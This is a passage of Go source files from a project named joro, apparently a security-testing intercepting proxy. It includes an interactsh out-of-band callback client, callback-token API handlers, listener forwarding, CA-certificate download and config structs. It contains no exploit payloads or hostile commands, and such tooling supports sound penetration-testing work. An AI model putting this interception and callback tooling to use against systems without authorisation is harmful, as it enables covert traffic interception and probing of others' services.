panic("interactsh: read rand: " + err.Error())
}
out := make([]byte, n)
for i, b := range buf {
out[i] = idAlphabet[int(b)%len(idAlphabet)]
}
return string(out)
}
// uuidV4 returns a UUID-v4 string built from 16 random bytes using only
// crypto/rand + bit-twiddling (no third-party uuid dependency).
func uuidV4() string {
b := make([]byte, 16)
if _, err := rand.Read(b); err != nil {
panic("interactsh: read rand: " + err.Error())
}
b[6] = (b[6] & 0x0f) | 0x40 // version 4
b[8] = (b[8] & 0x3f) | 0x80 // variant 10
return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
}
// encodePublicKey produces the base64-encoded PEM-wrapped PKIX form of pub
// that interactsh's /register endpoint expects as the "public-key" field.
func encodePublicKey(pub *rsa.PublicKey) (string, error) {
der, err := x509.MarshalPKIXPublicKey(pub)
if err != nil {
return "", fmt.Errorf("marshal public key: %w", err)
}
p := pem.EncodeToMemory(&pem.Block{Type: "RSA PUBLIC KEY", Bytes: der})
return base64.StdEncoding.EncodeToString(p), nil
}
// registerServer generates an RSA keypair + correlation ID + secret, performs
// the /register handshake, and returns the populated identity. On error,
// status is set to "error" with the error message.
func registerServer(ctx context.Context, srv *server) error {
priv, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return fmt.Errorf("generate rsa key: %w", err)
}
srv.privKey = priv
srv.correlationID = generateID(correlationIDLen)
srv.nonce = generateID(nonceLen)
srv.secretKey = uuidV4()
pubEncoded, err := encodePublicKey(&priv.PublicKey)
if err != nil {
return err
}
body, err := json.Marshal(registerRequest{
PublicKey: pubEncoded,
SecretKey: srv.secretKey,
CorrelationID: srv.correlationID,
})
if err != nil {
return fmt.Errorf("marshal register: %w", err)
}
req, err := http.NewRequestWithContext(ctx, "POST", trimSlash(srv.serverURL)+"/register", bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
if srv.authToken != "" {
req.Header.Set("Authorization", srv.authToken)
}
client := newHTTPClient(srv.skipVerify)
resp, err := client.Do(req)
if err != nil {
return fmt.Errorf("register request: %w", err)
}
defer resp.Body.Close()
data, _ := io.ReadAll(resp.Body)
if resp.StatusCode == http.StatusUnauthorized {
return errors.New("invalid auth token for interactsh server")
}
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("register failed (%d): %s", resp.StatusCode, strings.TrimSpace(string(data)))
}
// Store the payload host (leftmost-label correlation target).
if u, err := url.Parse(srv.serverURL); err == nil {
srv.payloadHost = u.Host
} else {
srv.payloadHost = srv.serverURL
}
return nil
}
// deregisterServer is best-effort; errors are logged but not returned.
func deregisterServer(ctx context.Context, srv *server) {
body, err := json.Marshal(deregisterRequest{
CorrelationID: srv.correlationID,
SecretKey: srv.secretKey,
})
if err != nil {
return
}
req, err := http.NewRequestWithContext(ctx, "POST", trimSlash(srv.serverURL)+"/deregister", bytes.NewReader(body))
if err != nil {
return
}
req.Header.Set("Content-Type", "application/json")
if srv.authToken != "" {
req.Header.Set("Authorization", srv.authToken)
}
client := newHTTPClient(srv.skipVerify)
resp, err := client.Do(req)
if err != nil {
log.Printf("interactsh: deregister %s: %v", srv.serverURL, err)
return
}
defer resp.Body.Close()
io.Copy(io.Discard, resp.Body) //nolint:errcheck
}
// pollOnce fetches pending interactions and invokes onInteraction for each
// decrypted server.Interaction.
func pollOnce(ctx context.Context, srv *server, onInteraction func(*serverInteraction)) error {
u := fmt.Sprintf("%s/poll?id=%s&secret=%s",
trimSlash(srv.serverURL),
url.QueryEscape(srv.correlationID),
url.QueryEscape(srv.secretKey),
)
req, err := http.NewRequestWithContext(ctx, "GET", u, nil)
if err != nil {
return err
}
if srv.authToken != "" {
req.Header.Set("Authorization", srv.authToken)
}
client := newHTTPClient(srv.skipVerify)
resp, err := client.Do(req)
if err != nil {
return fmt.Errorf("poll request: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("poll failed (%d): %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var pr pollResponse
if err := json.NewDecoder(resp.Body).Decode(&pr); err != nil {
return fmt.Errorf("decode poll response: %w", err)
}
// Encrypted entries: each is base64(IV || ciphertext) decrypted under an
// AES key that is itself RSA-OAEP-SHA256 encrypted for our pubkey.
if len(pr.Data) > 0 {
aesKey, err := decryptAESKey(srv.privKey, pr.AESKey)
if err != nil {
return fmt.Errorf("decrypt aes key: %w", err)
}
for _, enc := range pr.Data {
plain, err := decryptMessage(aesKey, enc)
if err != nil {
log.Printf("interactsh: decrypt data: %v", err)
continue
}
var ix serverInteraction
if err := json.Unmarshal(bytes.TrimRight(plain, " \t\r\n"), &ix); err != nil {
log.Printf("interactsh: unmarshal interaction: %v", err)
continue
}
onInteraction(&ix)
}
}
// "extra" entries are plaintext strings containing interaction JSON.
for _, raw := range pr.Extra {
var ix serverInteraction
if err := json.Unmarshal([]byte(raw), &ix); err != nil {
continue
}
onInteraction(&ix)
}
return nil
}
// decryptAESKey unwraps the session AES key via RSA-OAEP-SHA256.
func decryptAESKey(priv *rsa.PrivateKey, b64Key string) ([]byte, error) {
ct, err := base64.StdEncoding.DecodeString(b64Key)
if err != nil {
return nil, err
}
return rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, ct, nil)
}
// decryptMessage reverses interactsh's AES-256-CTR message encoding.
// Ciphertext is base64(IV || ciphertext). IV is the first aes.BlockSize bytes.
func decryptMessage(aesKey []byte, b64 string) ([]byte, error) {
ct, err := base64.StdEncoding.DecodeString(b64)
if err != nil {
return nil, err
}
if len(ct) < aes.BlockSize {
return nil, errors.New("ciphertext too short")
}
block, err := aes.NewCipher(aesKey)
if err != nil {
return nil, err
}
iv := ct[:aes.BlockSize]
body := ct[aes.BlockSize:]
out := make([]byte, len(body))
cipher.NewCTR(block, iv).XORKeyStream(out, body)
return out, nil
}
// pollLoop runs poll-every-5s against a single server until ctx is cancelled.
// Errors flip the instance status but don't abort the loop — matching the
// forgiving behaviour of the upstream client.
func pollLoop(ctx context.Context, srv *server, onInteraction func(*serverInteraction), setStatus func(string, string)) {
ticker := time.NewTicker(pollInterval)
defer ticker.Stop()
// One immediate poll so interactions show up without a 5s wait.
doPoll := func() {
if err := pollOnce(ctx, srv, onInteraction); err != nil {
if ctx.Err() == nil {
setStatus("error", err.Error())
}
return
}
setStatus("connected", "")
}
doPoll()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
doPoll()
}
}
}
func trimSlash(s string) string { return strings.TrimRight(s, "/") }
+8
View File
@@ -0,0 +1,8 @@
//go:build !unix
package main
// isForeground is a no-op on platforms without SIGTTIN semantics (Windows).
func isForeground() bool {
return true
}
+23
View File
@@ -0,0 +1,23 @@
//go:build unix
package main
import (
"os"
"syscall"
"golang.org/x/sys/unix"
)
// isForeground reports whether this process is in the foreground process
// group of its controlling terminal. When false (e.g. `./joro &` left stdin
// attached to the tty), reading stdin would deliver SIGTTIN and stop the
// process. The update prompt uses this to skip the read entirely in that
// case and fall through with a non-destructive default.
func isForeground() bool {
fgPgid, err := unix.IoctlGetInt(int(os.Stdin.Fd()), unix.TIOCGPGRP)
if err != nil {
return false
}
return fgPgid == syscall.Getpgrp()
}
+36
View File
@@ -0,0 +1,36 @@
module github.com/BishopFox/joro
go 1.25.0
require github.com/hashicorp/go-uuid v1.0.3
require (
github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
github.com/gorilla/websocket v1.5.3
github.com/miekg/dns v1.1.72
github.com/spf13/pflag v1.0.10
golang.org/x/net v0.52.0
golang.org/x/sys v0.42.0
google.golang.org/grpc v1.79.3
google.golang.org/protobuf v1.36.11
modernc.org/sqlite v1.46.1
)
require (
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
golang.org/x/mod v0.33.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/text v0.35.0 // indirect
golang.org/x/tools v0.42.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 // indirect
modernc.org/libc v1.67.6 // indirect
modernc.org/mathutil v1.7.1 // indirect
modernc.org/memory v1.11.0 // indirect
)
replace github.com/BishopFox/joro/sdk => ./sdk
+95
View File
@@ -0,0 +1,95 @@
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/miekg/dns v1.1.72 h1:vhmr+TF2A3tuoGNkLDFK9zi36F2LS+hKTRW0Uf8kbzI=
github.com/miekg/dns v1.1.72/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs=
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64=
go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y=
go.opentelemetry.io/otel v1.39.0 h1:8yPrr/S0ND9QEfTfdP9V+SiwT4E0G7Y5MO7p85nis48=
go.opentelemetry.io/otel v1.39.0/go.mod h1:kLlFTywNWrFyEdH0oj2xK0bFYZtHRYUdv1NklR/tgc8=
go.opentelemetry.io/otel/metric v1.39.0 h1:d1UzonvEZriVfpNKEVmHXbdf909uGTOQjA0HF0Ls5Q0=
go.opentelemetry.io/otel/metric v1.39.0/go.mod h1:jrZSWL33sD7bBxg1xjrqyDjnuzTUB0x1nBERXd7Ftcs=
go.opentelemetry.io/otel/sdk v1.39.0 h1:nMLYcjVsvdui1B/4FRkwjzoRVsMK8uL/cj0OyhKzt18=
go.opentelemetry.io/otel/sdk v1.39.0/go.mod h1:vDojkC4/jsTJsE+kh+LXYQlbL8CgrEcwmt1ENZszdJE=
go.opentelemetry.io/otel/sdk/metric v1.39.0 h1:cXMVVFVgsIf2YL6QkRF4Urbr/aMInf+2WKg+sEJTtB8=
go.opentelemetry.io/otel/sdk/metric v1.39.0/go.mod h1:xq9HEVH7qeX69/JnwEfp6fVq5wosJsY1mt4lLfYdVew=
go.opentelemetry.io/otel/trace v1.39.0 h1:2d2vfpEDmCJ5zVYz7ijaJdOF59xLomrvj7bjt6/qCJI=
go.opentelemetry.io/otel/trace v1.39.0/go.mod h1:88w4/PnZSazkGzz/w84VHpQafiU4EtqqlVdxWy+rNOA=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=
golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
golang.org/x/tools v0.42.0 h1:uNgphsn75Tdz5Ji2q36v/nsFSfR/9BRFvqhGBaJGd5k=
golang.org/x/tools v0.42.0/go.mod h1:Ma6lCIwGZvHK6XtgbswSoWroEkhugApmsXyrUmBhfr0=
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 h1:gRkg/vSppuSQoDjxyiGfN4Upv/h/DQmIR10ZU8dh4Ww=
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217/go.mod h1:7i2o+ce6H/6BluujYR+kqX3GKH+dChPTQU19wjRPiGk=
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
modernc.org/ccgo/v4 v4.30.1/go.mod h1:bIOeI1JL54Utlxn+LwrFyjCx2n2RDiYEaJVSrgdrRfM=
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
modernc.org/gc/v3 v3.1.1 h1:k8T3gkXWY9sEiytKhcgyiZ2L0DTyCQ/nvX+LoCljoRE=
modernc.org/gc/v3 v3.1.1/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
modernc.org/libc v1.67.6 h1:eVOQvpModVLKOdT+LvBPjdQqfrZq+pC39BygcT+E7OI=
modernc.org/libc v1.67.6/go.mod h1:JAhxUVlolfYDErnwiqaLvUqc8nfb2r6S6slAgZOnaiE=
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU=
modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA=
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
+196
View File
@@ -0,0 +1,196 @@
package api
import (
"encoding/json"
"fmt"
"io"
"net/http"
"strconv"
"strings"
"time"
"github.com/BishopFox/joro/internal/callback"
)
// proxyToListener forwards a request to the remote listener and copies the response back.
// Returns true if the response was handled (either forwarded or errored).
func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
s.mu.RUnlock()
if listenerURL == "" {
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in the Interact tab")
return true
}
// Strip trailing slash from base URL.
base := strings.TrimRight(listenerURL, "/")
targetURL := base + r.URL.RequestURI()
client := &http.Client{Timeout: 10 * time.Second}
proxyReq, err := http.NewRequestWithContext(r.Context(), r.Method, targetURL, r.Body)
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("failed to create request: %v", err))
return true
}
proxyReq.Header.Set("Content-Type", r.Header.Get("Content-Type"))
// Include team auth headers when forwarding to a teamserver.
s.mu.RLock()
teamToken := s.settings.TeamToken
teamNickname := s.settings.TeamNickname
s.mu.RUnlock()
if teamToken != "" {
proxyReq.Header.Set("Authorization", "Bearer "+teamToken)
}
if teamNickname != "" {
proxyReq.Header.Set("X-Joro-Nickname", teamNickname)
}
resp, err := client.Do(proxyReq)
if err != nil {
writeError(w, http.StatusBadGateway, fmt.Sprintf("listener unreachable: %v", err))
return true
}
defer resp.Body.Close()
// Copy response headers and body back.
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body) //nolint:errcheck
return true
}
func (s *APIServer) handleListTokens(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
tokens, err := s.cbStore.ListTokens()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if tokens == nil {
tokens = []callback.Token{}
}
writeJSON(w, http.StatusOK, tokens)
}
func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
Note string `json:"note"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
token, err := callback.GenerateToken(s.cbStore, body.Note)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusCreated, token)
}
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
if err := s.cbStore.DeleteToken(id); err != nil {
writeError(w, http.StatusNotFound, "token not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
func (s *APIServer) handleListInteractions(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
tokenID := r.URL.Query().Get("token_id")
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if limit <= 0 {
limit = 50
}
items, total, err := s.cbStore.ListInteractions(tokenID, offset, limit)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if items == nil {
items = []callback.Interaction{}
}
writeJSON(w, http.StatusOK, map[string]any{
"items": items,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleClearInteractions(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
tokenID := r.URL.Query().Get("token_id")
if err := s.cbStore.ClearInteractions(tokenID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
func (s *APIServer) handleGetCallbackConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
cfg, err := s.cbStore.GetConfig()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleUpdateCallbackConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var cfg callback.CallbackConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := s.cbStore.SetConfig(&cfg); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleGetMode(w http.ResponseWriter, r *http.Request) {
mode := "proxy"
if s.teamServerMode {
mode = "teamserver"
} else if s.listenerMode {
mode = "listener"
}
writeJSON(w, http.StatusOK, map[string]string{"mode": mode, "sessionId": s.sessionID})
}
+14
View File
@@ -0,0 +1,14 @@
package api
import "net/http"
func (s *APIServer) handleDownloadCACert(w http.ResponseWriter, r *http.Request) {
if s.ca == nil {
writeError(w, http.StatusNotFound, "CA not initialised")
return
}
w.Header().Set("Content-Type", "application/x-x509-ca-cert")
w.Header().Set("Content-Disposition", `attachment; filename="joro-ca.crt"`)
w.WriteHeader(http.StatusOK)
w.Write(s.ca.CertPEM) //nolint:errcheck
}
+651
View File
@@ -0,0 +1,651 @@
package api
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/json"
"io"
"log"
"net/http"
"time"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/proxy"
"github.com/hashicorp/go-uuid"
)
// --- User Config ---
type userConfigFile struct {
Version int `json:"version"`
SOCKSHost string `json:"socksHost"`
SOCKSPort int `json:"socksPort"`
SOCKSUsername string `json:"socksUsername"`
SOCKSPassword string `json:"socksPassword"`
SOCKSDNS bool `json:"socksDns"`
HTTP2Enabled bool `json:"http2Enabled"`
KeepAliveEnabled bool `json:"keepAliveEnabled"`
InterceptTimeout int `json:"interceptTimeout"`
MaxRequests int `json:"maxRequests"`
DisableUpdateChecks bool `json:"disableUpdateChecks"`
Theme string `json:"theme"`
HiddenTabs []string `json:"hiddenTabs,omitempty"`
PluginStates map[string]string `json:"pluginStates,omitempty"` // plugin name -> base64(opaque bytes)
}
// --- Project Config ---
type projectScopeRule struct {
Pattern string `json:"pattern"`
Methods []string `json:"methods"`
Path string `json:"path"`
Include bool `json:"include"`
}
type projectNoisePattern struct {
Pattern string `json:"pattern"`
}
type projectReplaceRule struct {
Target string `json:"target"`
MatchType string `json:"matchType"`
Match string `json:"match"`
Replace string `json:"replace"`
}
type projectCustomItem struct {
Type string `json:"type"`
Name string `json:"name"`
Value string `json:"value"`
}
type projectNote struct {
Host string `json:"host"`
Content string `json:"content"`
Author string `json:"author"`
}
type projectCapturedRequest struct {
ID string `json:"id"`
Seq int `json:"seq"`
Timestamp string `json:"timestamp"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
StatusCode int `json:"statusCode"`
ContentType string `json:"contentType,omitempty"`
DurationNs int64 `json:"durationNs"`
ReqRaw []byte `json:"reqRaw,omitempty"`
RespRaw []byte `json:"respRaw,omitempty"`
}
type projectConfigFile struct {
Version int `json:"version"`
ListenerURL string `json:"listenerUrl"`
TeamToken string `json:"teamToken"`
TeamNickname string `json:"teamNickname"`
ScopeEnabled bool `json:"scopeEnabled"`
ScopeRules []projectScopeRule `json:"scopeRules"`
NoiseEnabled bool `json:"noiseEnabled"`
NoisePatterns []projectNoisePattern `json:"noisePatterns"`
ReplaceEnabled bool `json:"replaceEnabled"`
ReplaceRules []projectReplaceRule `json:"replaceRules"`
CustomDataEnabled bool `json:"customDataEnabled"`
CustomDataItems []projectCustomItem `json:"customDataItems"`
Notes []projectNote `json:"notes"`
Highlights map[string]string `json:"highlights,omitempty"`
RequestHistory []projectCapturedRequest `json:"requestHistory,omitempty"`
PluginStates map[string]string `json:"pluginStates,omitempty"` // plugin name -> base64(opaque bytes)
}
// encodePluginStates base64-encodes each blob for transport inside a JSON
// config file. Returns nil when states is empty so the JSON field is elided.
func encodePluginStates(states map[string][]byte) map[string]string {
if len(states) == 0 {
return nil
}
out := make(map[string]string, len(states))
for name, data := range states {
out[name] = base64.StdEncoding.EncodeToString(data)
}
return out
}
// decodePluginStates reverses encodePluginStates. Entries whose value isn't
// valid base64 are dropped with a log line so one corrupt blob doesn't kill
// the whole config load.
func decodePluginStates(encoded map[string]string) map[string][]byte {
if len(encoded) == 0 {
